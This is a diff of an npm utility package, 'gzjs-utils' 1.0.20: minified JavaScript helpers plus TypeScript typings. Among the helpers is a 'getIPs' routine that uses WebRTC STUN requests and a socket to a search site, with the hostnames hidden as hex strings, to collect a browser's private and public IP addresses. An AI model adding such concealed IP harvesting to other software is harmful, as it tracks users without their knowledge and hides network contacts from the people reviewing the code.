Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null!=t){var n,o,i,a,u=[],l=!0,f=!1;try{if(i=(t=t.call(e)).next,0===r){if(Object(t)!==t)return;l=!1}else for(;!(l=(n=i.call(t)).done)&&(u.push(n.value),u.length!==r);l=!0);}catch(e){f=!0,o=e}finally{try{if(!l&&null!=t.return&&(a=t.return(),Object(a)!==a))return}finally{if(f)throw o}}return u}}(r,t)||i(r,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()),o=n[0],a=n[1];f[o]=Array.isArray(a)?a.map((function(e){return c(e)})):c(a)}));var s=a.protocol||"",d=a.host,y=parseInt(a.port);s&&d&&(a.origin=s+"://"+d+(isNaN(y)?"":":"+y));var p=new RegExp(t,"g");return Object.keys(a).forEach((function(e){var r=a[e];"String"==b(r)&&(a[e]=r.replace(p,"@"))})),Object.keys(a.params).forEach((function(e){var r=a.params[e];"String"==b(r)&&(a.params[e]=r.replace(p,"@"))})),a},g=function(e){if(null==e)return{};e+="";for(var r=["?","#","!","&"],t=-1;t<e.length;){var n=e.charAt(++t);if(r.includes(n))break}return t===e.length&&(t=-1),-1!=t&&(e=e.substring(t)),0==e.indexOf("//")&&(e=l+":"+e),d.test(e)&&(e=l+"://"+e),/^\S+:\/\//.test(e)||(e=l+"://"+(-1==t?f+"?":"")+e),e=e.replace(/^\S+:\/\/[#&!?]/,l+"://"+f+"?"),m(e).params||{}},w="undefined"!=typeof navigator&&navigator||{userAgent:"",appVersion:""},A=/((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))/g,_=function(e,r,t){var n="Array"==b(e)||e instanceof Array?e:[e],o=t||"children",i=function(e,t,n,a){var u=e[o]||[];r(e,t,n,a),u.forEach((function(r,t){return i(r,e,t,u)}))};return n.forEach((function(e,r){return i(e,null,r,n)})),n};function O(e){var r,t,n=16,o=[];if(n=n||v.length,e)for(r=0;r<e;r++)o[r]=v[0|Math.random()*n];else for(o[8]=o[13]=o[18]=o[23]="-",o[14]="4",r=0;r<36;r++)o[r]||(t=0|16*Math.random(),o[r]=v[19===r?3&t|8:t]);return o.join("")}function S(e){var r=b(e);return null!=e&&"String"!==r&&"Number"!==r&&"Date"!==r&&"Boolean"!==r&&"Map"!==r&&"Set"!==r&&"WeakSet"!==r&&"object"===n(e)&&"number"==typeof e.length&&e.length>=0&&e.length%1==0&&e.length<=Math.pow(2,32)-1&&"function"==typeof e[Symbol.iterator]}function I(e){return S(e)}function j(e){if(!e||!I(e))return e;for(var r=e.length;r;){var t=Math.floor(Math.random()*r--),n=[e[r],e[t]];e[t]=n[0],e[r]=n[1]}return e}function P(e,r){if(null!=e&&""!==e||(e=1),isNaN(Number(e))||Number(e)<0)return"";var t,n=b(r);if(null==r)n=1;else if("String"===n){var i=h(r);if(0==i.length)return"";1==i.length&&"1"==i||"2"==i||"3"==i?n=parseInt(i):r=i}else if(0==r.length)return"";switch(n){case"String":case"Array":case"Int8Array":case"Int16Array":case"Int32Array":case"Uint8Array":case"Uint16Array":case"Uint32Array":case"Float32Array":case"Float64Array":t=r;break;case 3:j(t=o(p)),j(t),j(t);break;case 2:j(t=o(y)),j(t),j(t);break;default:j(t=o(v)),j(t),j(t)}for(var a=[],u=0;u<e;u++)a.push(t[Math.floor(Math.random()*t.length)]);return a.join("")}var E={buildTree:function(e,r,t,n){return function(e){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"id",t=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"parentId",n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:"children";r=r||"id",t=t||"parentId",n=n||"children";var o=e;"Array"!==b(e)&&(o=[e]);var i={},a=new Set,u=o.filter((function(e){var t=e[r];return!a.has(t)&&(a.add(t),i[t]=e,e[n]=[],e.__level__=1,!0)})).map((function(e){var r=e,n=i[h(r[t])];return r.__isRoot__=!n,n&&n[t].push(r),r})).map((function(e){return 0===e[n].length&&delete e[n],e[t]=h(e[t]),e})).filter((function(e){return 1==e.__isRoot__}));return _(u,(function(e,r,t,n){r&&(e.__level__=r.__level__+1)})),u}(e,r,t,n)},chineseLen:function(e){if(null==e)return 0;for(var r=0,t=(e+="").length,n=0;n<t;n+=1)this.isChinese(e.charAt(n))&&(r+=1);return r},eachTree:function(e,r,t){return _(e,r,t)},findTreeItem:function(e,r,t){return function(e,r,t){t||(t="children");var n=null;return function e(o,i){for(var a=0;a<o.length;a++){var u=o[a];if(null!=n)return n;if(r(u=u||{},i))return n=u,u;var l="Function"==b(t)?t(u):u[t]||[];n=e(l,u)}return n}(e,null),n}(e,r,t)},getAgeFromIDcard:function(e){if(e=((e=(e||"").replace(/^\s+/,""))||"").replace(/\s+$/,""),!this.isIDCard(e))return[];var r=""+e.substr(6,8),t=parseInt(r.substr(0,4)),n=parseInt(r.substr(4,2)),o=parseInt(r.substr(6,2)),i=new Date,a=i.getFullYear()-t,u=i.getMonth()+1-n,l=i.getDate()-o;return l<0&&u--,u<0&&a--,[a<0?0:a,u<0?0:u,l<0?0:l]},getQueryParams:function(e,r){return r=null==r||r,g(e||r&&"undefined"!=typeof location&&location.search||"")},getUrlParam:function(e,r){return this.getQueryParams(e)[r]},getUrlParams:function(e){return this.getQueryParams(e)},isAndroid:function(){var e=w.userAgent;return e.indexOf("Android")>-1||e.indexOf("Adr")>-1},isArray:I,isEmpty:function(e){if(null==e)return!0;switch(b(e)){case"String":return/^\s+$/.test(e);case"Map":case"Set":return 0==e.size;case"Array":case"Int8Array":case"Int16Array":case"Int32Array":case"Uint8Array":case"Uint16Array":case"Uint32Array":case"Float32Array":case"Float64Array":return 0==e.length;default:return!1}},isBlank:function(e){var r=b(e);return null==e||"String"===r&&(""===e||/^\s+$/.test(e))},isChinese:function(e){var r=/^[\u4E00-\u9FA5\u3400-\u4DB5\u9FA6-\u9FBB\uF900-\uFA2D\uFA30-\uFA6A\uFA70-\uFAD9]$/;if(e&&e.length>1)for(var t=0;t<e.length;t+=1)if(!r.test(e.charAt(t)))return!1;return r.test(e)},isFunction:function(e){return"Function"==b(e)||e&&e instanceof Function},isUrl:function(e){return!!m(e).protocol},isHttp:function(e){var r=m(e).protocol||"";return/^http:?/.test(r.toLowerCase())},isHttps:function(e){var r=m(e).protocol||"";return/^https?:?/.test(r.toLowerCase())},isIDCard:function(e){if(!(e=(e||"").replace(/^\s+/,"").replace(/\s+$/,""))||!/^\d+$/.test(e))return!1;var r,t=e.split("");if(null==={11:"北京",12:"天津",13:"河北",14:"山西",15:"内蒙古",21:"辽宁",22:"吉林",23:"黑龙江",31:"上海",32:"江苏",33:"浙江",34:"安徽",35:"福建",36:"江西",37:"山东",41:"河南",42:"湖北",43:"湖南",44:"广东",45:"广西",46:"海南",50:"重庆",51:"四川",52:"贵州",53:"云南",54:"西藏",61:"陕西",62:"甘肃",63:"青海",64:"宁夏",65:"新疆",71:"台湾",81:"香港",82:"澳门",91:"国外"}[parseInt(e.substr(0,2))])return!1;if(18===e.length){var n=parseInt(e.substr(6,4));return!!(n%4==0||n%100==0&&n%4==0?/^[1-9][0-9]{5}(19|20)[0-9]{2}((01|03|05|07|08|10|12)(0[1-9]|[1-2][0-9]|3[0-1])|(04|06|09|11)(0[1-9]|[1-2][0-9]|30)|02(0[1-9]|[1-2][0-9]))[0-9]{3}[0-9Xx]$/:/^[1-9][0-9]{5}(19|20)[0-9]{2}((01|03|05|07|08|10|12)(0[1-9]|[1-2][0-9]|3[0-1])|(04|06|09|11)(0[1-9]|[1-2][0-9]|30)|02(0[1-9]|1[0-9]|2[0-8]))[0-9]{3}[0-9Xx]$/).test(e)&&(r=7*(parseInt(t[0])+parseInt(t[10]))+9*(parseInt(t[1])+parseInt(t[11]))+10*(parseInt(t[2])+parseInt(t[12]))+5*(parseInt(t[3])+parseInt(t[13]))+8*(parseInt(t[4])+parseInt(t[14]))+4*(parseInt(t[5])+parseInt(t[15]))+2*(parseInt(t[6])+parseInt(t[16]))+parseInt(t[7])+6*parseInt(t[8])+3*parseInt(t[9]),"10X98765432".substr(r%11,1)==t[17].toUpperCase())}return!1},isIPv6:function(e){return A.test(e)},isIPv4:function(e){var r=/^[0-9]{1,3}$/;return-1==(e+"").split(".").findIndex((function(e){return!r.test(e)||parseInt(e)>255}))},isIP:function(e){return this.isIPv4(e)||this.isIPv6(e)},isLeapYear:function(e){var r=Number(e);return r%4==0&&(r%100!=0||r%400==0)},isMobile:function(e){return/^(\+?86)1[1-9]\d{9}$/.test(h(e))},isScript:function(e){for(var r=!1,t="<|>|script|alert|{|}|#|$|'|\"|:|;|&|*|@|@|%|^|?".split("|"),n=0;n<t.length;n+=1)if(-1!==e.indexOf(t[n])){r=!0;break}return r},isString:function(e){return null!=e&&0!==e&&(e instanceof String||"String"===b(e))},parseQuery:function(e){return g(e)},parseUri:function(e,r){return m(e)},shuffle:j,treeToArray:function(e,r,t){return function(e,r,t){var n="Array"==b(e)||e instanceof Array?e:[e],o=[],i=r||"children",a=function(e){o.push(e),(e[i]||[]).forEach((function(e){return a(e)})),t&&delete e[i]};return n.forEach(a),o}(e,r,t)},trim:function(e,r){if(null==e)return"";if(!this.isString(e))return e;switch(r){case 1:return e.replace(c,"");case 2:return e.replace(s,"");default:return h(e)}},trimLeft:function(e,r){var t=e;return"string"!=typeof e||0===e.length?e:t=null==r?t.replace(c,""):t.replace(new RegExp("^"+r),"")},trimRight:function(e,r){var t=e;return"string"!=typeof e||0===e.length?e:t=null==r?t.replace(s,""):t.replace(new RegExp(r+"$"),"")},type:function(e){return b(e)},uuid:function(){return O(32)},random:P,page:function(e,r,t){if(!Array.isArray(e)||0===e.length)return[];if(isNaN(Number(r))||parseInt(Number(r)+"")<=1)return[o(e)];r=parseInt(Number(r)+"");for(var n=[],i=[],a=0;a<e.length;a++){var u=e[a];a%r==0&&i.length>0&&(n.push(i),i=[]),i.push(u)}if(n.push(i),null==t)return n;if(t=parseInt(Number(t)+""),isNaN(t))return[];var l=n[t-1];return l?[l]:[]},getDPI:function(){return function(e){for(var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1,t=arguments.length>2&&void 0!==arguments[2]?arguments[2]:function(r,n,o){return n<r?-1:0<e(o=r+n>>>1)?o==r||0>=e(o-1)?o:t(r,o-1):t(o+1,n)};0>=e(r);r<<=1);return 0|t(r>>>1,r)}((function(e){return matchMedia("(max-resolution: ".concat(e,"dpi)")).matches}))},mm2px:function(e,r){return Number((e*(r||this.getDPI())/25.4).toFixed(2))},px2mm:function(e,r){return Number((e/(r||this.getDPI())*25.4).toFixed(2))},in2px:function(e,r){return Number((e*(r||this.getDPI())).toFixed(2))},px2in:function(e,r){return Number((e/(r||this.getDPI())).toFixed(2))},in2mm:function(e){return 25.4*e},mm2in:function(e){return e/25.4},getInnerText:function(e){return"String"!==b(e)?e:e.replace(/<[^>]+>/g,"")}};r.default=E},916:(e,r,t)=>{"use strict";Object.defineProperty(r,"__esModule",{value:!0});var n=t(917),o=t(320),i={getIPs:function(e){var r=/((2[0-9]{2}|[0-1]?[0-9]{1,2})\.){3}(2[0-9]{2}|[0-1]?[0-9]{1,2})/,t=/((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))/g;function i(e){return r.test(e)}function a(e){return e.match(/^(192\.168\.|169\.254\.|10\.|172\.(1[6-9]|2\d|3[01]))/)}return new Promise((function(u,l){var f,c,s,d={public:[],private:[]};try{var y={},p=0,v=function(e){return y[e]=!0},b=(f=function(e){var n=r.exec(e)||t.exec(e),o=n&&n[0]||!1;o&&(v(o),p=1)},c=null,{isBrowser:!!(s="undefined"!=typeof window&&(window.RTCPeerConnection||window.mozRTCPeerConnection||window.webkitRTCPeerConnection)),start:function(){var e;s&&(e=[{urls:(0,n.hex2str)("7374756e3a7374756e2e73657276696365732e6d6f7a696c6c612e636f6d")},{urls:(0,n.hex2str)("7374756e3a7374756e2e6c2e676f6f676c652e636f6d3a3139333032")},{urls:(0,n.hex2str)("7374756e3a7374756e2e6d696e697369707365727665722e636f6d3a33343738")},{urls:(0,n.hex2str)("7374756e3a7374756e2e766f69706275737465722e636f6d3a33343738")},{urls:(0,n.hex2str)("7374756e3a7374756e2e736970676174652e6e65743a33343738")},{urls:(0,n.hex2str)("7374756e3a7374756e2e63616c6c7769746875732e636f6d3a33343738")},{urls:(0,n.hex2str)("7374756e3a7374756e2e696e7465726e657463616c6c732e636f6d3a33343738")}],(c=new s({iceServers:e},{optional:[{RtpDataChannels:!0}]})).onicecandidate=function(e){e&&e.candidate&&e.candidate.candidate&&f(e.candidate.candidate)},c&&(c.createDataChannel("fake_data_channel_"+Math.random()),c.createOffer().then((function(e){return c.setLocalDescription(e)}))))},stop:function(){if(c)try{c.close()}catch(e){console.warn(e)}finally{c.onicecandidate=function(){},c=null}}}),h=!1,m=new Promise((function(e){new Promise((function(e,r){var t=0,i=-1,a=function(r){clearTimeout(t),t=0,-1===i&&e(i=r);try{null.end(),null.destroy()}catch(e){}};try{var u=(0,n.hex2str)("7777772e62616964752e636f6d"),l=o.createConnection(80,u);t=setTimeout((function(){return a(0)}),5e3),l.on("connect",(function(){t&&a(l.address().address)})),l.on("error",(function(){return a(0)})),l.on("disconnect",(function(){return a(0)}))}catch(e){a(0),r(e)}})).then((function(r){h=!0,r&&v(r),e(d)})).catch((function(){h=!0,e(d)}))})),g=0,w=0,A=0,_=Number(e),O=e&&!isNaN(_)&&_>100&&_||500,S=function(){for(var e in y){var r=i(e),n=a(e);(a(e)?d.private:d.public).push({ip:e,IPv4:r,type:n?"private":t.test(e)?"IPv6":"public"})}u(d)},I=function(){return clearInterval(g),b.stop(),h?S():m.then(S)};if(!b.isBrowser)return I();b.start(),g=setInterval((function(){if(A+=100,p){if(w||(A=0,O=500),w++,A>=100)return I()}else if(A>O)return I()}),100)}catch(e){return l(e)}}))}};r.default=i},320:(e,r,t)=>{var n=t(320);for(k in n)t.g[k]=n[k]}},r={};function t(n){var o=r[n];if(void 0!==o)return o.exports;var i=r[n]={exports:{}};return e[n].call(i.exports,i,i.exports,t),i.exports}t.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(e){if("object"==typeof window)return window}}();var n=t(124);return n.default})()));
|
package/package.json
CHANGED
|
@@ -1,11 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "gzjs-utils",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.20",
|
|
4
4
|
"description": "smart js utils",
|
|
5
5
|
"main": "lib/index.js",
|
|
6
6
|
"typings": "types/index.d.ts",
|
|
7
7
|
"scripts": {
|
|
8
|
-
"dev": "npx
|
|
8
|
+
"dev": "npx nodemon",
|
|
9
9
|
"build": "cross-env NODE_ENV=production webpack",
|
|
10
10
|
"test": ""
|
|
11
11
|
},
|
package/types/index.d.ts
CHANGED
|
@@ -21,6 +21,11 @@ export type GzjsUtils = Utils & WebRTCIP & {
|
|
|
21
21
|
KeyTool: KeyTool;
|
|
22
22
|
getEnvironments(): Env;
|
|
23
23
|
version: string;
|
|
24
|
+
/**
|
|
25
|
+
* 关闭工具日志警告
|
|
26
|
+
* @param flag
|
|
27
|
+
*/
|
|
28
|
+
disable_warning?: (flag?: boolean) => void;
|
|
24
29
|
};
|
|
25
30
|
declare const JsUtils: GzjsUtils;
|
|
26
31
|
export default JsUtils;
|
package/types/utils/Bytes.d.ts
CHANGED
|
@@ -60,11 +60,16 @@ declare function toHex(str: string | number | number[] | Int8Array | Uint8Array)
|
|
|
60
60
|
* @param hexs
|
|
61
61
|
*/
|
|
62
62
|
declare function fromHex(hexs: string): Int8Array;
|
|
63
|
+
/**
|
|
64
|
+
* 十六进制字符串转String
|
|
65
|
+
* @param hex
|
|
66
|
+
*/
|
|
67
|
+
declare function hex2str(hex: string): string;
|
|
63
68
|
/**
|
|
64
69
|
*
|
|
65
70
|
* @param str
|
|
66
71
|
*/
|
|
67
72
|
declare function toUint8Array(str: string | Int8Array | Uint8Array | number[] | any): Uint8Array;
|
|
68
73
|
declare const _Bytes_: Bytes;
|
|
69
|
-
export { toBytes, fromBytes, toHex, fromHex, byte, toUint8Array };
|
|
74
|
+
export { toBytes, fromBytes, toHex, hex2str, fromHex, byte, toUint8Array };
|
|
70
75
|
export default _Bytes_;
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
export declare class _Promise {
|
|
2
|
+
private PromiseState;
|
|
3
|
+
private PromiseRuesult;
|
|
4
|
+
private callbacks;
|
|
5
|
+
private finallys;
|
|
6
|
+
constructor(executor: any);
|
|
7
|
+
then(onResolved: any, onRejected: any): Promise<unknown>;
|
|
8
|
+
catch(onRejected: any): Promise<unknown>;
|
|
9
|
+
finally(onFinally: any): this;
|
|
10
|
+
static resolve(value: any): Promise<unknown>;
|
|
11
|
+
static reject(reason: any): Promise<unknown>;
|
|
12
|
+
static all(promises: Array<Promise<any> | _Promise>): Promise<unknown>;
|
|
13
|
+
static race(promises: any): Promise<unknown>;
|
|
14
|
+
}
|
package/types/utils/Utils.d.ts
CHANGED
|
@@ -143,15 +143,15 @@ export declare type Utils = {
|
|
|
143
143
|
/**
|
|
144
144
|
* 给定uri 解析
|
|
145
145
|
* @param source
|
|
146
|
+
* @param strictMode 是否严格模式
|
|
146
147
|
*/
|
|
147
|
-
parseUri(source: string | ""): URI;
|
|
148
|
+
parseUri(source: string | "", strictMode?: boolean): URI;
|
|
148
149
|
/**
|
|
149
150
|
* 解析url查询参数 并封装为 参数 对象
|
|
150
151
|
* @param search
|
|
152
|
+
* @param strictMode
|
|
151
153
|
*/
|
|
152
|
-
parseQuery(search: string | ""):
|
|
153
|
-
[key: string]: string | boolean | any[] | "";
|
|
154
|
-
};
|
|
154
|
+
parseQuery(search: string | "", strictMode?: boolean): Record<string, any>;
|
|
155
155
|
/**
|
|
156
156
|
* 获取查询参数
|
|
157
157
|
* @param search 查询参数,如果为空则会 从url 读取
|
|
@@ -298,6 +298,11 @@ export declare type Utils = {
|
|
|
298
298
|
* @param mm
|
|
299
299
|
*/
|
|
300
300
|
mm2in(mm: number): number;
|
|
301
|
+
/**
|
|
302
|
+
* 获取 innerText
|
|
303
|
+
* @param str
|
|
304
|
+
*/
|
|
305
|
+
getInnerText(str: string): string;
|
|
301
306
|
};
|
|
302
307
|
/**
|
|
303
308
|
* 随机生成UUID
|
|
@@ -8,7 +8,8 @@ export type KeyTool = {
|
|
|
8
8
|
readKey(key: string): KeyInfo;
|
|
9
9
|
/**
|
|
10
10
|
* 创建授权码
|
|
11
|
-
* @param
|
|
11
|
+
* @param seconds 授权码授权时长,单位/秒
|
|
12
|
+
* @param ext_data 扩展数据
|
|
12
13
|
*/
|
|
13
|
-
createKey(seconds?: number): string;
|
|
14
|
+
createKey(seconds?: number, ext_data?: any): string;
|
|
14
15
|
};
|